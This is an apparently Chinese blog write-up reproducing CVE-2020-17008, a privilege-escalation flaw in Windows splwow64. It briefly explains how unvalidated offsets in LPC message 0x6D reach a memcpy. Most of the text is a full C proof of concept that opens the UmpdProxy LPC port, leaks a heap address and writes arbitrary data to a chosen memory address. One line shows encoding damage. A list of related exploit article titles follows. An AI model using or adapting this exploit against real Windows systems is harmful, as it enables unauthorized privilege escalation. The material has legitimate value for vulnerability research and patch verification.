SPLWOW64許可權提升漏洞(CVE-2020-17008)復現
漏洞描述
Splwow64過於信任LPC傳遞的資料,並且在訊息0x6D中使用了請求發起者的偏移量且沒有進行有效的驗證,Splwow64將LPC訊息傳遞給GdiPrinterThunk。導致執行可控制的memcpy函式任意地址寫。
漏洞原理
觸發任意地址寫入的呼叫棧
通過 “\\RPC Control\\UmpdProxy_%x_%x_%x_%x “, 會話ID, 令牌認證ID 低位,令牌認證ID 高位,0x200 構造出通訊LPC名稱並進行連結。
通過傳送6A訊息開啟該印表機
由於任意地址寫是在當前堆基地址之上,我們輸入的是偏移。
所以接著傳送帶有漏洞的6D訊息在當前堆資料內洩露出當前堆基地址,隨後通過減去基地址,從而獲得任意地址寫入。
含有漏洞的訊息6D的資料結構:
隨後這個訊息通過LPC傳入SPLWOW64.exe,將輸入輸出緩衝區傳入了龐大的API——GdiPrinterThunk,GdiPrinterThunk中存在一個memcpy,引數來自於輸入輸出緩衝區。
漏洞復現
POC
標註: 官方POC在GetPortName中使用RtlInitUnicodeString來初始化UNICODE_STRING 時出現了一個問題:使用區域性變數dst來對外部傳入的PUNICODE_STRING 賦值,這可能導致函式退出時棧被釋放後被其他函式修改,從而導致使用該變數的函式呼叫失敗。[ RtlInitUnicodeString 函式原型見頁面底部 ]
#include <stdio.h>
#include <windows.h>
#include <Shlwapi.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
#pragma comment(lib, "shlwapi.lib")
typedef struct _PORT_VIEW
{
UINT64 Length;
HANDLE SectionHandle;
UINT64 SectionOffset;
UINT64 ViewSize;
UCHAR* ViewBase;
UCHAR* ViewRemoteBase;
} PORT_VIEW, * PPORT_VIEW;
PORT_VIEW ClientView;
typedef struct _PORT_MESSAGE_HEADER {
USHORT DataSize;
USHORT MessageSize;
USHORT MessageType;
USHORT VirtualRangesOffset;
CLIENT_ID ClientId;
UINT64 MessageId;
UINT64 SectionSize;
} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;
typedef struct _PORT_MESSAGE {
PORT_MESSAGE_HEADER MessageHeader;
UINT64 MsgSendLen;
UINT64 PtrMsgSend;
UINT64 MsgReplyLen;
UINT64 PtrMsgReply;
UCHAR Unk4[0x1F8];
} PORT_MESSAGE, * PPORT_MESSAGE;
PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;
NTSTATUS(NTAPI* NtOpenProcessToken)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_Out_ PHANDLE TokenHandle
);
NTSTATUS(NTAPI* ZwQueryInformationToken)(
_In_ HANDLE TokenHandle,
_In_ TOKEN_INFORMATION_CLASS TokenInformationClass,
_Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,
_In_ ULONG TokenInformationLength,
_Out_ PULONG ReturnLength
);
NTSTATUS(NTAPI* NtCreateSection)(
PHANDLE SectionHandle,
ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes,
PLARGE_INTEGER MaximumSize,
ULONG SectionPageProtection,
ULONG AllocationAttributes,
HANDLE FileHandle
);
NTSTATUS(NTAPI* ZwSecureConnectPort)(
_Out_ PHANDLE PortHandle,
_In_ PUNICODE_STRING PortName,
_In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,
_Inout_opt_ PPORT_VIEW ClientView,
_In_opt_ PSID Sid,
_Inout_opt_ PVOID ServerView,
_Out_opt_ PULONG MaxMessageLength,
_Inout_opt_ PVOID ConnectionInformation,
_Inout_opt_ PULONG ConnectionInformationLength
);
NTSTATUS(NTAPI* NtRequestWaitReplyPort)(
IN HANDLE PortHandle,
IN PPORT_MESSAGE LpcRequest,
OUT PPORT_MESSAGE LpcReply
);
void WriteMemory(UINT64 WriteAddr, UINT64 Data, UINT64 cookie, UINT64 heapAddress);
int Init()
{
HMODULE ntdll = GetModuleHandleA("ntdll");
printf("ntdll = 0x%p\n", (void*)ntdll);
NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");
if (NtOpenProcessToken == NULL)
{
printf("Failed to get NtOpenProcessToken\n");
return 0;
}
ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");
if (ZwQueryInformationToken == NULL)
{
printf("Failed to get ZwQueryInformationToken\n");
return 0;
}
NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");
if (NtCreateSection == NULL)
{
printf("Failed to get NtCreateSection\n");
return 0;
}
ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");
if (ZwSecureConnectPort == NULL)
{
printf("Failed to get ZwSecureConnectPort\n");
return 0;
}
NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");
if (NtRequestWaitReplyPort == NULL)
{
printf("Failed to get NtRequestWaitReplyPort\n");
return 0;
}
return 1;
}
WCHAR dst[256];
int GetPortName(PUNICODE_STRING DestinationString)
{
void* tokenHandle;
DWORD sessionId;
ULONG length;
TOKEN_STATISTICS tokenInformation;
memset(&tokenInformation, 0, sizeof(tokenInformation));
ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
memset(dst, 0, sizeof(dst));
if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)
|| ZwQueryInformationToken(tokenHandle, TokenStatistics, &tokenInformation, sizeof(tokenInformation), &length))
{
return 0;
}
wsprintfW(
dst,
L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",
sessionId,
tokenInformation.AuthenticationId.LowPart,
tokenInformation.AuthenticationId.HighPart,
0x2000);
printf("name: %ls\n", dst);
RtlInitUnicodeString(DestinationString, dst);
return 1;
}
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{
HANDLE sectionHandle = 0;
HANDLE portHandle = 0;
union _LARGE_INTEGER maximumSize;
maximumSize.QuadPart = 0x20000;
if (0 != NtCreateSection(§ionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {
printf("failed on NtCreateSection\n");
return 0;
}
if (sectionHandle)
{
ClientView.SectionHandle = sectionHandle;
ClientView.Length = 0x30;
ClientView.ViewSize = 0x9000;
int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);
if (retval) {
printf("Failed on ZwSecureConnectPort: 0x%x\n", retval);
return 0;
}
}
return portHandle;
}
PVOID Prepare0x6AMessage()
{
const wchar_t* printerName = L"Microsoft XPS Document Writer";
memset(&LpcRequest, 0, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize = 0x20;
LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x300;
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen = 0x10;
LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x140;
printf("PtrMsgReply: 0x%I64x\n", LpcRequest.PtrMsgReply);
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
*(UINT64*)ClientView.ViewBase = 0x6A00000000; //Msg Type (OpenPrinter)
*((UINT64*)ClientView.ViewBase + 0x3) = 0x100; // Offset to pointer to Printer Name
*((UINT64*)ClientView.ViewBase + 0x4) = 0x00; //Printer defaults to OpenPrinter
*((UINT64*)ClientView.ViewBase + 0x8) = 0x00;
*((UINT64*)ClientView.ViewBase + 0x7) = 0x500000005; // Args 2 & 3 to bAddPrinterHandle
memcpy(ClientView.ViewBase + 0x100, printerName, 0x3C);
printf("ClientView: 0x%I64x/0x%p, 0x%p: %S\n", (UINT64)ClientView.ViewBase, ClientView.ViewRemoteBase, (ClientView.ViewBase + 0x100), (LPWSTR)(ClientView.ViewBase + 0x100));
*((UINT64*)ClientView.ViewBase + 0x10) = 0x41414141;
return ClientView.ViewBase;
}
PVOID Prepare0x6DMessage_GetPoolAddr(UINT64 cookie, UINT64 heapAddress)
{
memset(&LpcRequest, 0, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize = 0x20;
LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x300;
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen = 0x10;
LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
memset(ClientView.ViewBase, 0, 0x300);
*(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)
*((UINT64*)ClientView.ViewBase + 3) = cookie;
*((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 2nd arg to FindPrinterHandle
*((UINT64*)ClientView.ViewBase + 7) = 0x2000000003; //iEsc argument to DocumentEvent & cbIn
//0x40
*((UINT64*)ClientView.ViewBase + 8) = 0x100;//OFFSET- pvIn
*((UINT64*)ClientView.ViewBase + 9) = 0x200; //cbOut
//0x200
*((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
//0x100
*((UINT64*)ClientView.ViewBase + 0x20) = 0x40; // +B points here
//0x110
*((UINT64*)ClientView.ViewBase + 0x22) = 0;
//0x150
*((UINT64*)ClientView.ViewBase + 0x2A) = (UINT64)ClientView.ViewRemoteBase + 0x200;
//0x250
*((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to
*((UINT64*)ClientView.ViewBase + 0xA) = 0x150; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
*((UINT64*)ClientView.ViewBase + 0x40) = 0x4242424242424242;
*((UINT64*)ClientView.ViewBase + 0xA) = 0x40; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
*((WORD*)ClientView.ViewBase + 0xA2) = (WORD)0x04;
*((WORD*)ClientView.ViewBase + 0xA3) = (WORD)0x04;
*((UINT64*)ClientView.ViewBase + 0xB) = 0x250; //Destination of memcpy
*((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to
return ClientView.ViewBase;
}
HANDLE g_portHandle;
int main()
{
printf("Start\n");
Init(); //初始化所用的庫函式
printf("Init done\n");
CHAR Path[0x100];
GetCurrentDirectoryA(sizeof(Path), Path);
printf("%s\n", Path);
PathAppendA(Path, "CreateDC.exe"); // CreateDCA("Microsoft XPS Document Writer", "Microsoft XPS Document Writer", NULL, NULL);
printf("%s\n", Path);
if (!(PathFileExistsA(Path)))
{
printf("CreateDC.exe 不存在\n");
return 0;
}
WinExec(Path, 0); //拉起 splwow64.exe
CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
printf("現在你可以使用偵錯程式掛接splwow64.exe. 輸入[回車]繼續:");
fflush(stdout);
getchar();
printf("獲得埠名稱\n");
UNICODE_STRING portName;
if (!GetPortName(&portName))
{
printf("獲得埠名稱失敗\n");
return 0;
}
printf("建立埠. \n");
g_portHandle = CreatePortSharedBuffer(&portName);
if (!(g_portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))
{
printf("portHandle = 0x%p && ClientView.ViewBase = 0x%p && ClientView.ViewRemoteBase = 0x%p\n", g_portHandle, ClientView.ViewBase, ClientView.ViewRemoteBase);
return 0;
}
printf("填充 0x6A 訊息 - OpenPrinter\n");
Prepare0x6AMessage();
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
printf("寫入 0x6A 訊息失敗\n");
exit(1);
}
printf("寫入 0x6A 訊息成功!\n");
UINT64 cookie = *((UINT64*)ClientView.ViewBase + 0x28);
printf("Cookie: 0x%llx\n", cookie);
printf("填充 0x6D 訊息 (獲得堆地址) - DocumentEvent\n");
Prepare0x6DMessage_GetPoolAddr(cookie, 0);
/*第一次觸發memcpy洩漏堆地址以獲取偏移量*/
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
printf("寫入 0x6D 訊息失敗\n");
exit(1);
}
UINT64 heapAddress = *((UINT64*)ClientView.ViewBase + 0x4A) - 0x40;
printf("輸出: 0x%I64x, 堆地址: 0x%I64x\n", *((UINT64*)ClientView.ViewBase + 0x4A), heapAddress);
printf("填充 0x6D 訊息 (獲得堆地址) - DocumentEvent\n");
Prepare0x6DMessage_GetPoolAddr(cookie, 0);
/*第一次觸發memcpy洩漏堆地址以獲取偏移量*/
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
printf("寫入 0x6D 訊息失敗\n");
exit(1);
}
heapAddress = *((UINT64*)ClientView.ViewBase + 0x4A) - 0x40;
printf("輸出: 0x%I64x, 堆地址: 0x%I64x\n", *((UINT64*)ClientView.ViewBase + 0x4A), heapAddress);
printf("填充 0x6D 訊息(寫入資料0x55aa55aa55aa55aa 至 0x55555555地址) - DocumentEvent\n");
WriteMemory(0x55555555, 0x55aa55aa55aa55aa, cookie, heapAddress);
printf("完成\n");
return 0;
}
void WriteMemory(UINT64 WriteAddr, UINT64 Data, UINT64 cookie, UINT64 heapAddress)
{
memset(&LpcRequest, 0, sizeof(LpcRequest));
LpcRequest.MessageHeader.DataSize = 0x20;
LpcRequest.MessageHeader.MessageSize = 0x48;
LpcRequest.MsgSendLen = 0x300;
LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;
LpcRequest.MsgReplyLen = 0x10;
LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
memset(ClientView.ViewBase, 0, 0x300);
*(UINT64*)ClientView.ViewBase = 0x6D00000000; //訊息型別(Document Event)
*((UINT64*)ClientView.ViewBase + 3) = cookie;
*((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 第二個引數:FindPrinterHandle
*((UINT64*)ClientView.ViewBase + 7) = 0x2000000003; //iEsc argument to DocumentEvent & cbIn
//0x40
*((UINT64*)ClientView.ViewBase + 8) = 0x100;//OFFSET- pvIn
*((UINT64*)ClientView.ViewBase + 9) = 0x200; //cbOut
//0x200
*((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;
//0x100
*((UINT64*)ClientView.ViewBase + 0x20) = 0x40; // +B points here
//0x110
*((UINT64*)ClientView.ViewBase + 0x22) = 0;
//0x150
*((UINT64*)ClientView.ViewBase + 0x2A) = (UINT64)ClientView.ViewRemoteBase + 0x200;
//0x250
*((UINT64*)ClientView.ViewBase + 0x4A) = (UINT64)0; //Where the contents of memcpy are written to
*((UINT64*)ClientView.ViewBase + 0xA) = 0x150; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy
*((UINT64*)ClientView.ViewBase + 0x40) = Data; //欲寫入的資料
*((UINT64*)ClientView.ViewBase + 0xB) = WriteAddr - heapAddress; //目標記憶體地址
*((WORD*)ClientView.ViewBase + 0x122) = (WORD)0x04;
*((WORD*)ClientView.ViewBase + 0x123) = (WORD)0x04;
if (NtRequestWaitReplyPort(g_portHandle, &LpcRequest, &LpcReply) != 0) {
printf("寫入0x6D 訊息失敗\n");
}
}
RtlInitUnicodeString函式原型:
相關文章
- PJzhang:CVE-2020-1472微軟NetLogon許可權提升漏洞~復現微軟Go
- 白 - 許可權提升和漏洞利用技巧
- 關於 Linux Polkit 許可權提升漏洞(CVE-2021-4034)的修復方法Linux
- 可獲取管理員許可權,聯想公佈兩個特權提升漏洞
- Linux核心許可權提升漏洞“DirtyPipe”(CVE-2022-0847)分析Linux
- 如何用 Vue 實現前端許可權控制(路由許可權 + 檢視許可權 + 請求許可權)Vue前端路由
- Metasploit許可權提升全劇終
- 研究發現超過 40 個 Windows 裝置驅動程式包含提升許可權的漏洞Windows
- Oracle軟體許可權修復Oracle
- 超過40個Windows裝置驅動程式包含提升許可權的漏洞Windows
- 使用LDAP查詢快速提升域許可權LDA
- 基本Linux許可權提升(Basic Linux Privilege Escalation)Linux
- AD域安全之Windows Print Spooler許可權提升漏洞(CVE-2021-1675)淺析Windows
- 許可權之選單許可權
- linux 檔案許可權 s 許可權和 t 許可權解析Linux
- Laravel實現許可權控制Laravel
- Redis未授權漏洞復現Redis
- weblogic許可權繞過/遠端命令執行漏洞復現(CVE-2020-14482、CVE-2020-14883)Web
- 利用PATH環境變數 - 提升linux許可權~?變數Linux
- 基於Linux許可權提升的資訊收集Linux
- Android程式保活(二):利用 Notification 提升許可權Android
- 許可權系統:一文搞懂功能許可權、資料許可權
- 許可權概念、許可權提升概念以及許可權提升的分類和目的 Windows 提權的基礎原理是瞭解作業系統的安全機制和許可權管理 Windows提權攻擊的進一步知識概念Windows作業系統
- C#不提升自己程式的許可權實現操作登錄檔C#
- 第106天:許可權提升-WIN 系統&AD域控&NetLogon&ADCS&PAC&KDC&CVE 漏洞Go
- 記憶體安全週報第93期 | 許可權提升成為微軟頭號漏洞記憶體微軟
- Hacking Team攻擊程式碼分析Part 3 : Adobe Font Driver核心驅動許可權提升漏洞
- CentOS升級polkit版本,解決 Linux Polkit 存在許可權提升的漏洞 (CVE-2021-4034)CentOSLinux
- 提升企業管理效率 從許可權控制開始
- 基於全流量許可權漏洞檢測技術
- Linux特殊許可權之suid、sgid、sbit許可權LinuxUI
- ERC223智慧合約ATN幣出現owner許可權竊取漏洞
- RAC安裝目錄許可權快速恢復
- Mac系統如何修復Mac硬碟許可權Mac硬碟
- Oracle 目錄許可權丟失故障恢復Oracle
- Linux許可權Linux
- 許可權控制
- mysql許可權MySql